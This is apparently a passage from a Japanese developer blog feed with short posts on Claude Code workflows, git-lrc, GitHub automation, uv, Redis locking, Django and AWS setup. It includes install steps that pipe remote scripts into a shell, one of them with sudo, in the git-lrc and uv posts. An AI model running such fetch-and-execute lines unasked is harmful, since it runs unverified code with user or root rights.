過去に Claude が犯した間違いと対策
やってはいけないこと

配置場所

ファイル	スコープ
`~/.claude/CLAUDE.md`	全プロジェクト共通（個人設定）
`プロジェクトルート/CLAUDE.md`	そのプロジェクト限定（チーム共有・Git 管理）

Boris Cherny のセットアップ（スレッド1）

1. 並列セッション

Boris はターミナルで 5 つの Claude を同時に並列実行している。さらに claude.ai/code 上でも 5〜10 個を並行稼働させ、システム通知で完了を監視する。

# Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理

Fri, 27 Feb 2026 00:00:00 +0000

Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理

紹介ポスト: yriica 「ClaudeのProjects内のFilesにGitHubリポジトリを同期できることが判明。GitHubリポジトリに日報含めいろんなデータをプッシュしておいたことで、その内容をふまえた上でClaudeでチャットができるようになった。AIのメモリ機能よりもこちらのほうが回答精度が高い。」

はじめに

Claude.ai（ブラウザ版）の Projects 機能に、GitHub リポジトリのファイルを直接同期できる機能がある。日報、議事録、設計メモなど、普段の業務で Git に蓄積していたドキュメントが、そのまま Claude の高精度なコンテキストとして機能する。

これは「AI のために特別なことをした」のではなく、普段の業務として Git にドキュメントを蓄積していたものが、AI 活用で大きなアドバンテージになったという事例。

Claude Projects の GitHub 連携とは

基本機能

Claude.ai の Projects には「プロジェクトナレッジ」としてファイルを追加できる。ここに GitHub リポジトリを接続すると:

リポジトリ内のファイル名と内容が Claude に読み込まれる
「Sync now」ボタンで最新のコミット内容に更新できる
複数リポジトリを1つのプロジェクトに追加可能
プライベートリポジトリにも対応（GitHub App 経由で権限付与）

設定方法

チャット内から追加する場合:

左下の「+」ボタンをクリック
ドロップダウンから「Add from GitHub」を選択
ファイルブラウザで特定のファイルやフォルダを選択
メッセージ送信時に Claude がコンテンツを処理

プロジェクトナレッジとして追加する場合:

プロジェクト知識セクションの右上「+」をクリック
「GitHub」を選択
リポジトリを検索、または URL を貼り付け
ファイルブラウザで対象を指定
プロジェクトナレッジに追加

同期の仕組み

特定ブランチのファイル名とコンテンツのみが同期される
コミット履歴、PR、Issue などのメタデータは取得されない
「Sync now」ボタンで手動更新（自動同期ではない）
大きな変更がある前に同期を実施するのがベストプラクティス

制限事項

複数リポジトリ追加時は Claude のコンテキストウィンドウに収まる必要がある
現在ベータ版
トークン制限を考慮した戦略的なファイル選択が重要

なぜ「メモリ機能より精度が高い」のか

Claude にはチャットの中から情報を学習する「メモリ」機能があるが、GitHub 同期とは根本的に性質が異なる。

# git-lrc — コミット時に AI が無料でコードレビューしてくれるツール

Fri, 27 Feb 2026 00:00:00 +0000

git-lrc — コミット時に AI が無料でコードレビューしてくれるツール

リポジトリ: HexmosTech/git-lrc 紹介ポスト: commte

これは何か

git-lrc は、git commit のタイミングで自動的に AI コードレビューが走るツール。Git フックとして動作し、コミット前の差分を AI（Google Gemini）に分析させ、バグやセキュリティ問題をブラウザ上の UI でインラインコメントとして表示してくれる。

しかも Gemini の無料枠を使うので完全無料。

なぜこれが作られたのか

AI エージェント時代の新しい問題

Claude Code や Cursor などの AI コーディングエージェントは、コードを高速に生成する。しかし同時に、黙ってロジックを削除したり、挙動を変えたり、バグを混入させることもある — しかもユーザーに何も言わずに。

問題に気づくのは、たいてい本番環境にデプロイした後。

既存のコードレビューの限界

PR レビュー: チームメンバーの時間を消費する。AI 生成コードの量が増えるとレビューが追いつかない
手動チェック: 大量の差分を毎回目視確認するのは非現実的
CI/CD のテスト: テストがカバーしていない箇所の論理変更は検出できない

git-lrc のアプローチ

「コミット」という全開発者が必ず通るポイントにフックすることで、レビュー漏れをほぼゼロにする。エディタや AI ツールキットが何であっても、Git は共通基盤。コミットは必須操作なので、スタックに関係なくレビューが走る。

どう動くのか

セットアップ（約1分、1回だけ）

1
2
3
4
5


# インストール（Mac / Linux）
curl -fsSL https://hexmos.com/lrc-install.sh | sudo bash

# 初期設定（ブラウザで API キーを取得）
git lrc setup

必要なのは2つ:

Claude Code + tmux で GitHub Issue/PR をウィンドウ単位で管理する tmux-focus スキル

Tue, 24 Feb 2026 00:00:00 +0000

name: tmux-focus description: “tmux ウィンドウの Issue/PR 切替: /tmux-focus [-w|-r] ”

tmux-focus スキル

現在の tmux ウィンドウの Issue/PR を切り替えるスキル。

使い方

`/tmux-focus <number>` — Issue モード

Bash で以下を実行:

1

~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh <number>

ウィンドウ名を issue-<number> に変更し、対応する GitHub Issue をブラウザで開く。

`/tmux-focus -w <number>` — PR worktree モード

gh pr view <number> で PR であることを確認する。PR でなければエラーメッセージを表示して終了。
Bash で以下を実行:
1

~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr <number>
ウィンドウ名を pr-<number> に変更し、ブラウザで PR を開く。
EnterWorktree ツールで worktree を作成する。
worktree 内で以下を実行:
1

gh pr checkout <number>

`/tmux-focus -r <number>` — PR レビューモード

gh pr view <number> で PR であることを確認する。PR でなければエラーメッセージを表示して終了。
Bash で以下を実行:
1

~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr <number>
ウィンドウ名を pr-<number> に変更し、ブラウザで PR を開く。
worktree 内でなければ EnterWorktree ツールで worktree を作成する。
worktree 内で以下を実行:
1

gh pr checkout <number>
PR のコード差分をレビュー開始する（gh pr diff <number> で差分を取得し、変更内容を分析）。

スクリプトが存在しない場合

~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh が存在しない場合は、以下の内容で作成して chmod +x する。

CloudWatch Logs のエラーを自動で GitHub Issues に課題化する

Tue, 24 Feb 2026 00:00:00 +0000

CloudWatch Logs のエラーを自動で GitHub Issues に課題化する

ECS で稼働するWebアプリケーションのエラーログを自動的に GitHub Issues に報告する仕組みを構築しました。手動でログを監視する必要がなくなり、エラー発生時に即座にチームが認識・対応できるようになります。

背景

マルチテナントの業務システムを ECS Fargate 上で運用しています。アプリケーションは2つあり、それぞれ異なるフレームワークで構築されています。

アプリ	フレームワーク	用途
web	Laravel (PHP)	業務管理システム
api	Django (Python)	API サーバー

これまで CloudWatch Logs にログは収集していたものの、エラーの検知は手動確認に頼っていました。500エラーや例外発生を見逃すリスクがあり、自動検知の仕組みが必要でした。

アーキテクチャ

Subscription Filter + Lambda + GitHub Issues API の構成を採用しました。

CloudWatch Logs (/ecs/{prefix}-ecs-{app})
└── Subscription Filter (エラーパターンマッチ)
└── Lambda Function (Docker/arm64, Python 3.12)
├── エラー解析 (HTTP 5xx, 例外, スタックトレース)
├── ±5秒のログコンテキスト取得
├── 既存 Open Issue 検索
└── 新規 Issue 作成 or 既存 Issue にコメント追加

この構成を選んだ理由

方式	リアルタイム性	柔軟性	コスト
Subscription Filter + Lambda (採用)	高	高	中
Metric Filter + Alarm + SNS	中 (1分以上遅延)	低	低
CloudWatch Logs Insights (定期実行)	低	高	低

Subscription Filter はログ出力時にほぼリアルタイムで Lambda を起動するため、エラー発生から数秒で Issue が作成されます。

Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する

Thu, 12 Feb 2026 00:00:00 +0000

Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する

背景

本番環境の ECS コンテナで発生したエラーは、CloudWatch Logs → Lambda → GitHub Issue という流れで自動起票される仕組みを運用しています。

タイトルは [prod][myapp] errors detected、ラベルは CloudWatchLog で統一されており、1つの Issue に複数のエラーブロックがまとまって届きます。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


## Error Report - 2026-02-12 01:32:28 UTC

- **Environment**: prod
- **Log Group**: `/ecs/myapp-prod-ecs`
- **Error Blocks**: 3

### [1] 2026-02-12 01:32:26 UTC - `application`
（スタックトレース）

### [2] 2026-02-12 01:45:10 UTC - `application`
（スタックトレース）

### [3] 2026-02-12 02:01:33 UTC - `application`
（スタックトレース）

この Issue をそのまま放置すると、異なるエラーが混在したまま溜まっていきます。手作業で分類・個別 Issue 化するのは地味に面倒で、後回しにしがちでした。

iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った — Self-hosted Runner + Claude Code CLI セットアップガイド

Wed, 11 Feb 2026 00:00:00 +0000

iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った

TL;DR

GitHub Self-hosted Runner + Claude Code CLI を組み合わせて、iPhone で Issue を作成 → Mac 上の Claude Code が自動で調査・コード修正・PR 作成まで行う仕組みを構築した。2ステージ承認フロー付きで、/claude で調査、/approve で実行という安全な運用が可能。

モチベーション

普段 Mac の前にいないときでも、iPhone からコードの調査や修正を指示したい。GitHub Issue に書くだけで Claude Code が自動的に動いてくれれば、移動中でもコードレビューや修正依頼ができる。

完成した仕組み

iPhone GitHub Mac (self-hosted runner)
│ │ │
├─ Issue 作成 ────────────→│ │
│ (claude ラベル付与) │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (読み取り専用)
│ │←── 調査結果コメント ──────┤
│ │ + 承認待ちラベル │
│ │ │
├─ /approve コメント ──────→│ │
│ │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (書き込み許可)
│ │←── 実行結果 + PR ────────┤
│ │ - 承認待ちラベル │

トリガー一覧

操作	条件	動作
`claude` ラベル付き Issue 起票	起票者がリポジトリオーナー	Stage 1: 読み取り専用で調査
`/claude` コメント	コメント者がリポジトリオーナー	Stage 1: 読み取り専用で調査
`/claude --execute` コメント	コメント者がリポジトリオーナー	Stage 1 スキップ、直接実行
`/approve` コメント	コメント者がリポジトリオーナー + `承認待ち` ラベル	Stage 2: 計画に基づき実行

必要なもの

macOS マシン (Apple Silicon / Intel)
Claude Code CLI がインストール済み (npm install -g @anthropic-ai/claude-code)
Claude Max/Pro プラン (OAuth トークン) または Anthropic API キー
GitHub CLI (gh)

セットアップ手順

1. Self-hosted Runner のインストール

GitHub の個人アカウントでは Runner はリポジトリ単位の登録になる。同一マシンに複数の Runner を並置できる。

nix

Sun, 05 Jan 2025 00:00:00 +0000

nix

NIXで管理するpython環境

uv

Superbase

Sun, 05 Jan 2025 00:00:00 +0000

supabase

PostgREST

https://docs.postgrest.org/en/v12/

AWS

https://github.com/supabase-community/supabase-on-aws

Terraform:

https://supabase.com/docs/guides/deployment/terraform

PostGraphile

https://www.graphile.org/postgraphile/

uv

Sun, 05 Jan 2025 00:00:00 +0000

uv

インストール

1

% curl -LsSf https://astral.sh/uv/install.sh | sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


downloading uv 0.5.14 aarch64-apple-darwin
no checksums to verify
installing to /Users/hdknr/.local/bin
 uv
 uvx
everything's installed!

To add $HOME/.local/bin to your PATH, either restart your shell or run:

 source $HOME/.local/bin/env (sh, bash, zsh)
 source $HOME/.local/bin/env.fish (fish)

1
2
3


% source .local/bin/env
% which uv
/Users/hdknr/.local/bin/uv

1
2


% uv --version
uv 0.5.14 (9f1ba2b96 2025-01-02)

uvx (`uv tool run`)

uvではdevelop環境で利用するtoolをuv tool(uvx)というコマンド別管理することが可能

MyScaleDB

Wed, 02 Oct 2024 00:00:00 +0000

MyScaleDB

https://github.com/myscale/MyScaleDB

記事

Unleashing the Power of HNSW Indexes with pgvector

AWS: ECS: Fargate: pidMode

Mon, 02 Sep 2024 00:00:00 +0000

AWS ECS Fargate: pidMode

AWS FargateのpidModeは、タスク内のコンテナ間でプロセスID（PID）名前空間を共有するための設定です。これにより、同じタスク内のコンテナが互いのプロセス情報にアクセスできるようになります¹²。

例えば、モニタリング用のサイドカーコンテナが、他のコンテナのプロセス情報を取得して監視することが可能になります。FargateではpidMode=taskのみがサポートされており、これを有効にすると、タスク内のすべてのコンテナが同じPID名前空間を共有します²。

この機能は、特にセキュリティや監視の観点から便利で、プロセスの監視やシステムコールのトラッキングが容易になります¹。

ソース: Copilot との会話、 2024/9/2 (1) 【アップデート】ECS on Fargateでサイドカーからプロセス …. https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/. (2) AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ …. https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/. (3) [ECS/Fargate] [request]: Support pidMode: task on Fargate #676. https://github.com/aws/containers-roadmap/issues/676. (4) 【アップデート】ECS on FargateがsystemControlsをサポートし …. https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/. (5) Amazon ECS on AWS Fargate - Datadog Infrastructure and …. https://docs.datadoghq.com/integrations/ecs_fargate/.

pidModeを指定しなくてもサイドカー構成を取ることは可能です。pidModeは、特定のユースケースでプロセスID名前空間を共有するためのオプションですが、サイドカーコンテナ自体は他の方法で連携できます。

例えば、サイドカーコンテナは以下のような方法で他のコンテナと連携します：

ネットワーク共有: 同じタスク内のコンテナはデフォルトで同じネットワーク名前空間を共有するため、互いに通信できます。
ボリューム共有: データを共有するために、同じボリュームをマウントすることができます。
環境変数や設定ファイル: コンテナ間で設定情報を共有するために使用できます。

これらの方法を組み合わせることで、pidModeを使用しなくても効果的なサイドカー構成を実現できます。

記事

Strawberry

Thu, 01 Aug 2024 00:00:00 +0000

Strawberry

https://strawberry.rocks/

Djanog Integration

1
2
3


uv add strawberry-graphql[debug-server]
uv add strawberry-graphql-django
uv add django-choices-field\n

strawberry-sqlalchemy

https://github.com/strawberry-graphql/strawberry-sqlalchemy

記事

Django

Developing GraphQL APIs in Django with Strawberry

PGVector

Wed, 31 Jul 2024 00:00:00 +0000

PGVector

ニューラルネットワークの知識の蒸留 distilling the knowledge in a neural networkPGVector (Postgres)
Rails/PostgreSQL/pgvector を組み合わせてベクトル検索をする。
https://github.com/yassun/sample-pgvector
https://hub.docker.com/r/pgvector/pgvector
https://github.com/pgvector/pgvector-python
LangChain と pgvector(Postgres)を用いて関連性の高いドキュメントを手軽に検索する
生成 AI でテキスト分類やってみた

SentenceTransformer

知識蒸留

MUSE

Muse: Text-To-Image Generation via Masked Generative Transformers を読んだメモ

PolarDB

Wed, 31 Jul 2024 00:00:00 +0000

PolarDB for PostgreSQL

PolarDB for PostgreSQL（以下、PolarDB）は、Alibaba Cloud が独自に開発したクラウドネイティブなデータベースサービスです。
このサービスは、PostgreSQL と 100%互換性があり、共有ストレージベースのアーキテクチャを採用しています。
これにより、計算とストレージが分離され、柔軟なスケーラビリティ、ミリ秒レベルの遅延、HTAP（Hybrid Transactional/Analytical Processing）機能を提供します ¹²。

主な特徴は以下の通りです：

柔軟なスケーラビリティ：ビジネス要件に応じて、計算クラスターやストレージクラスターをスケールアウトできます。
ミリ秒レベルの遅延：WAL（Write-Ahead Logging）ログが共有ストレージに保存され、メタデータのみがレプリケートされます。
HTAP 機能：OLTP（オンライントランザクション処理）と OLAP（オンライン分析処理）の両方をサポートするためのアーキテクチャを持っています ¹²³。

他に知りたいことがあれば教えてくださいね。

ソース: Copilot との会話、 2024/7/31 (1) GitHub - ApsaraDB/PolarDB-for-PostgreSQL: A cloud-native …. https://github.com/ApsaraDB/PolarDB-for-PostgreSQL. (2) PolarDB for PostgreSQL - Gitee. https://gitee.com/polardb/PolarDB-for-PostgreSQL. (3) PolarDB云原生数据库自研数据库_数据库-阿里云. https://polardbpg.com/. (4) PolarDB: 阿里云开源云原生数据库 PolarDB - Gitee. https://gitee.com/polardb.

記事

PolarDB for PostgreSQL 14 で pgvector と LangChain を使ってベクトル検索してみる

Swiper

Mon, 15 Jul 2024 00:00:00 +0000

swiper

https://github.com/nolimits4web/swiper
【最新】Swiper の使い方・カスタマイズを解説！サンプルやオプション 15 個付きー基礎から応用までー (Swiper v8.1.4)
JVNDB-2021-005554 swiper における脆弱性 (6.5.1)(情報を取得される、情報を改ざんされる、およびサービス運用妨害 (DoS) 状態にされる可能性があります。)

Terraform and others

Tue, 25 Jun 2024 00:00:00 +0000

Terraform , CloudFormation 関連

OpenTofu

https://opentofu.org/

troposphere

former2

インストール:

1
2
3
4


git clone https://github.com/iann0036/former2.git
sudo /Applications/Docker.app/Contents/MacOS/install remove-vmnetd
sudo /Applications/Docker.app/Contents/MacOS/install vmnetd
docker-compose up -d

FastAPI

Mon, 24 Jun 2024 00:00:00 +0000

FastAPI

Hypercorn

1

poetry add fastapi hypercorn quart

filters

fastapi-filters:

その他:

https://pypi.org/project/fastapi-query-tools/

モデルマッパー

SQLModel(https://sqlmodel.tiangolo.com/)

flutter/ios

Tue, 18 Jun 2024 00:00:00 +0000

Flutter/iOS

`$PRODUCT_NAME`

1

PRODUCT_NAME = "$(TARGET_NAME)";

JWT in AWS Lambda

Tue, 18 Jun 2024 00:00:00 +0000

JWT in AWS Lambda

API Gateway-

Lambda コンテナ

OAuth: PKCE

Wed, 28 Feb 2024 00:00:00 +0000

OAuth PKCE

Django: Push Notification

Tue, 27 Feb 2024 00:00:00 +0000

Django: Push Notification

APNS (Apple)

FCM/GCM(Google)

Firebase でローコードなプッシュ通知を実装してみた

Web Push

Spec:

ChatGPT: PowerPoint生成

Wed, 21 Feb 2024 00:00:00 +0000

CHatGPT PowerPoint 生成

ChatGPT: SQL 生成

Thu, 15 Feb 2024 00:00:00 +0000

ChatGPT SQL 生成

https://github.com/ademakdogan/ChatSQL

AWS: Kendra

Tue, 13 Feb 2024 00:00:00 +0000

AWS: Kendra

Video:

生成AI（ジェネレーティブAI）

Fri, 02 Feb 2024 00:00:00 +0000

生成 AI（ジェネレーティブ AI/GenAI）

プログラミングコード生成 AI

GitHub Copilot
Amazon CodeWhisperer

BigQuery

Amazon Redshift/Amazon Q generative SQL

Amazon Bedrock

PingCAP/TiDB

Azure

Fabric

Snowflake

Morph

AWS: EFS: バックアップ

Fri, 05 Jan 2024 00:00:00 +0000

EFS バックアップ

AWS Backup

https://github.com/hdknr/awsform/blob/main/terraform/modules/backups/main.tf

AWS DataSync

AWS DataSync を使って S3 から EFS へデータを転送する！

django-redis: lock

Fri, 05 Jan 2024 00:00:00 +0000

djanog-redis: cache.lock

`lock`

https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/cache.py#L177

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


class RedisCache(BaseCache):

 ...
 @omit_exception
 def lock(self, *args, **kwargs):
 return self.client.lock(*args, **kwargs)

 def __init__(self, server: str, params: Dict[str, Any]) -> None:
 ...
 self._client_cls = options.get(
 "CLIENT_CLASS", "django_redis.client.DefaultClient"
 )
 self._client_cls = import_string(self._client_cls)
 self._client = None
 ...

DefaultClient

https://github.com/jazzband/django-redis/blob/d94a7f9644b96cc37743914fce899cca942c032a/django_redis/client/default.py#L29

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


from redis import Redis

class DefaultClient:
 def __init__(self, server, params: Dict[str, Any], backend: BaseCache) -> None:
 ...
 self._clients: List[Optional[Redis]] = [None] * len(self._server)
 ...

 def lock(
 self,
 key: KeyT,
 version: Optional[int] = None,
 timeout: Optional[float] = None,
 sleep: float = 0.1,
 blocking_timeout: Optional[float] = None,
 client: Optional[Redis] = None,
 thread_local: bool = True,
 ):
 if client is None:
 client = self.get_client(write=True)

 key = self.make_key(key, version=version)
 return client.lock(
 key,
 timeout=timeout,
 sleep=sleep,
 blocking_timeout=blocking_timeout,
 thread_local=thread_local,
 )

 def get_client(
 self,
 write: bool = True,
 tried: Optional[List[int]] = None,
 ) -> Redis:
 """
 Method used for obtain a raw redis client.

 This function is used by almost all cache backend
 operations for obtain a native redis client/connection
 instance.
 """
 index = self.get_next_client_index(write=write, tried=tried)

 if self._clients[index] is None:
 self._clients[index] = self.connect(index)

 return self._clients[index] # type:ignore

Redis

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76



class Redis(RedisModuleCommands, CoreCommands, SentinelCommands):

 def lock(
 self,
 name: str,
 timeout: Optional[float] = None,
 sleep: float = 0.1,
 blocking: bool = True,
 blocking_timeout: Optional[float] = None,
 lock_class: Union[None, Any] = None,
 thread_local: bool = True,
 ):
 """
 Return a new Lock object using key ``name`` that mimics
 the behavior of threading.Lock.

 If specified, ``timeout`` indicates a maximum life for the lock.
 By default, it will remain locked until release() is called.

 ``sleep`` indicates the amount of time to sleep per loop iteration
 when the lock is in blocking mode and another client is currently
 holding the lock.

 ``blocking`` indicates whether calling ``acquire`` should block until
 the lock has been acquired or to fail immediately, causing ``acquire``
 to return False and the lock not being acquired. Defaults to True.
 Note this value can be overridden by passing a ``blocking``
 argument to ``acquire``.

 ``blocking_timeout`` indicates the maximum amount of time in seconds to
 spend trying to acquire the lock. A value of ``None`` indicates
 continue trying forever. ``blocking_timeout`` can be specified as a
 float or integer, both representing the number of seconds to wait.

 ``lock_class`` forces the specified lock implementation. Note that as
 of redis-py 3.0, the only lock class we implement is ``Lock`` (which is
 a Lua-based lock). So, it's unlikely you'll need this parameter, unless
 you have created your own custom lock class.

 ``thread_local`` indicates whether the lock token is placed in
 thread-local storage. By default, the token is placed in thread local
 storage so that a thread only sees its token, not a token set by
 another thread. Consider the following timeline:

 time: 0, thread-1 acquires `my-lock`, with a timeout of 5 seconds.
 thread-1 sets the token to "abc"
 time: 1, thread-2 blocks trying to acquire `my-lock` using the
 Lock instance.
 time: 5, thread-1 has not yet completed. redis expires the lock
 key.
 time: 5, thread-2 acquired `my-lock` now that it's available.
 thread-2 sets the token to "xyz"
 time: 6, thread-1 finishes its work and calls release(). if the
 token is *not* stored in thread local storage, then
 thread-1 would see the token value as "xyz" and would be
 able to successfully release the thread-2's lock.

 In some use cases it's necessary to disable thread local storage. For
 example, if you have code where one thread acquires a lock and passes
 that lock instance to a worker thread to release later. If thread
 local storage isn't disabled in this case, the worker thread won't see
 the token set by the thread that acquired the lock. Our assumption
 is that these cases aren't common and as such default to using
 thread local storage."""
 if lock_class is None:
 lock_class = Lock
 return lock_class(
 self,
 name,
 timeout=timeout,
 sleep=sleep,
 blocking=blocking,
 blocking_timeout=blocking_timeout,
 thread_local=thread_local,
 )

devel を削除したたが devel/0 を作れない

Wed, 13 Dec 2023 00:00:00 +0000

git update-ref -d

これだけだと devel/2023-12-14 を pull できない

git branch -d devel

error: cannot lock ref 'refs/remotes/origin/devel/2023-12-14': 'refs/remotes/origin/devel' exists; cannot create 'refs/remotes/origin/devel/2023-12-14'
From github.com:spin-dd/taihei-epm-server
! [new branch] devel/2023-12-14 -> origin/devel/2023-12-14 (unable to update local ref)
error: some local refs could not be updated; try running
'git remote prune origin' to remove any old, conflicting branches

update-ref でクリアされる

git update-ref -d refs/remotes/origin/devel

Bash スクリプト

Mon, 20 Nov 2023 00:00:00 +0000

bash スクリプト

compdef

1
2
3
4
5
6
7
8
9


eval "$(uv generate-shell-completion zsh)"

_uv_run_mod() {
 if [[ "$words[2]" == "run" && "$words[CURRENT]" != -* ]]; then
 _arguments '*:filename:_files'
 else
 _uv "$@"
 fi
}

1

compdef _uv_run_mod uv

uv というコマンドに対して、_uv_run_mod という補完関数を関連付けています。
uv の後に Tab キーを押すと、_uv_run_mod 関数で定義された補完候補が表示されます。

MPTT tree_id

Mon, 06 Nov 2023 00:00:00 +0000

MPTT Tree ID

分散ロック

Distributed Locking in Django

1
2
3
4


from django.core.cache import cache

with cache.lock("somekey"):
 do_some_thing()

redis-py:

https://github.com/redis/redis-py/blob/d3a3ada03e080f39144807c9fbe44876c40e0548/redis/client.py#L394

デッドロック

Hook available for automatic retry after deadlock in django and mysql setup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


import django.db.backends.utils
from django.db import OperationalError
import time

original = django.db.backends.utils.CursorWrapper.execute

def execute_wrapper(*args, **kwargs):
 attempts = 0
 while attempts < 3:
 try:
 return original(*args, **kwargs)
 except OperationalError as e:
 code = e.args[0]
 if attempts == 2 or code != 1213:
 raise e
 attempts += 1
 time.sleep(0.2)

django.db.backends.utils.CursorWrapper.execute = execute_wrapper

redis

Fri, 14 Jul 2023 00:00:00 +0000

Elasic Cache for Redis

バージョン

1
2
3
4
5


$ redis-cli --version
redis-cli 5.0.7

$ redis-server -v
Redis server v=5.0.7 sha=00000000:0 malloc=jemalloc-5.2.1 bits=64 build=66bd629f924ac924

接続:

1

REDIS_URL=redis://mycloud-stage-redis-nc.sigrvp.ng.0001.apne1.cache.amazonaws.com:6379/0

1
2
3


$ export $(cat .env|xargs)
$ redis-cli -u $REDIS_URL PING
PONG

Python

redis-py: https://github.com/redis/redis-py
django-redis: https://github.com/jazzband/django-redis
channels_redis: https://github.com/django/channels_redis

クラスターモードへの接続

Cluster Client

1
2
3
4
5
6
7
8
9


import logging
from redis.cluster import RedisCluster

ENDPOINT = "mycloud-stage-redis-test.sigrvp.clustercfg.apne1.cache.amazonaws.com"
logging.basicConfig(level=logging.INFO)
redis = RedisCluster(host=ENDPOINT, port="6379")

if redis.ping():
 logging.info("Connected to Redis")

django-redis:

Celery AWS ECS

Thu, 13 Jul 2023 00:00:00 +0000

Celery on ECS

Redis

Celery + AWS Redis で使ってみる

クラスターモード

Redis >= 3.2
ElastiCache for Redis のクラスターモードについて調べてみる

SQS

broker としてつかえるが、 backend としては使えない(SQS + RabbitMQ/Redis/SQLAlchemy を考える)
Celery + SQS on Django on Elastic Beanstalk
Deploying Django on AWS: Setting up Celery and SQS
Deploying Django Application on AWS with Terraform. Setting up Celery and SQS

ECS

Celery Logging

標準出力:

EC2 mount EFS

Wed, 12 Jul 2023 00:00:00 +0000

AWS EC2 moutn EFS

E2 からマウント

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#!/bin/bash
EFS_ID="fs-0f90bd97a364a6e94"
#
PKG=amazon-efs-utils
RES=$(dpkg --get-selections | grep $PKG)
MOUNT_PATH="/efs"

if [ -z "${RES}" ]; then
 apt update && apt upgrade -y && apt autoremove -y
 apt-get -y install binutils
 git clone https://github.com/aws/efs-utils
 cd efs-utils
 ./build-deb.sh
 apt-get install -y ./build/amazon-efs-utils*deb
fi
#
if [ ! -d $MOUNT_PATH ]; then
 mkdir $MOUNT_PATH
fi
#
mount -t efs $EFS_ID:/ $MOUNT_PATH

ltsv

Fri, 16 Jun 2023 00:00:00 +0000

`ltsv` 形式

pip install ltsv

To process LTSV files in Python, you can use the ltsv package available on PyPI ². Here is an example of how to use it:

1
2
3
4
5


import ltsv

with open('file.ltsv') as f:
 for record in ltsv.reader(f):
 print(record)

This code will read the LTSV file line by line and print each record as a dictionary ¹.

ndjson

Wed, 14 Jun 2023 00:00:00 +0000

ndjson

https://github.com/rhgrant10/ndjson
Snowflake: CREATE FILE FORMAT
【Python】Python ～ ndjson を扱う～
tablib は ndjson をサポートしていない
pandas は ndjson を読み込める

ijavascript

Wed, 07 Jun 2023 00:00:00 +0000

ijavascript

https://n-riesco.github.io/ijavascript/index.html

Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async

Thu, 04 May 2023 00:00:00 +0000

Jupyter: `Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async`

このエラーは、asyncコンテキストから同期的なコードを呼び出そうとした場合に発生するエラーです。

async-unsafeなコードを呼び出す場合は、asyncコンテキストからではなく、自分自身の同期関数で書き、それをasgiref.sync.syncを使用して呼び出すように修正する必要があります¹。

¹: Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async. - Stack Overflow

ソース: Bing との会話 2023/5/4

(1) Django: SynchronousOnlyOperation: You cannot call this …. https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u.
(2) django.core.exceptions.SynchronousOnlyOperation after …. https://github.com/django/channels/issues/1464.
(3) python - Django channels Async Websocket throwing Error …. https://stackoverflow.com/questions/63892884/django-channels-async-websocket-throwing-error-while-trying-to-use-database-quer.
(4) Django channel occasionally gets error “cannot call this from …. https://stackoverflow.com/questions/69239657/django-channel-occasionally-gets-error-cannot-call-this-from-an-async-context.
(5) python - Getting SynchronousOnlyOperation error Even after …. https://stackoverflow.com/questions/63149616/getting-synchronousonlyoperation-error-even-after-using-sync-to-async-in-django.

DJANGO_ALLOW_ASYNC_UNSAFE 環境変数を使用することで、非同期コンテキストで SynchronousOnlyOperation エラーが発生した場合に警告を無効にすることができます¹。

Django MPTT: values で tree_id が SELECT されてしまう

Fri, 28 Apr 2023 00:00:00 +0000

Django MPTT: values で tree_id が SELECT されてしまう

仕様である

django-mptt の TreeQuerySet で values コールすると SQL に tree_id が追加されているのは、django-mptt がツリー構造を管理するために必要なカラムだからです²。tree_id は、同じツリーに属するノードに同じ値を持ちます²。例えば、以下のようなモデルがあるとします。

1
2
3
4
5
6
7
8
9


from django.db import models
from mptt.models import MPTTModel, TreeForeignKey

class Category(MPTTModel):
 name = models.CharField(max_length=50, unique=True)
 parent = TreeForeignKey('self', on_delete=models.CASCADE, null=True, blank=True, related_name='children')

 class MPTTMeta:
 order_insertion_by = ['name']

このとき、以下のように values をコールすると、SQL に tree_id が追加されます²。

ゼロパーティデータ

Sat, 15 Apr 2023 00:00:00 +0000

ゼロパーティデータ

行動データにおいて、顧客が意図的・積極的に企業と共有するデータ

ファーストパーティデータ(企業が収集する行動データ)

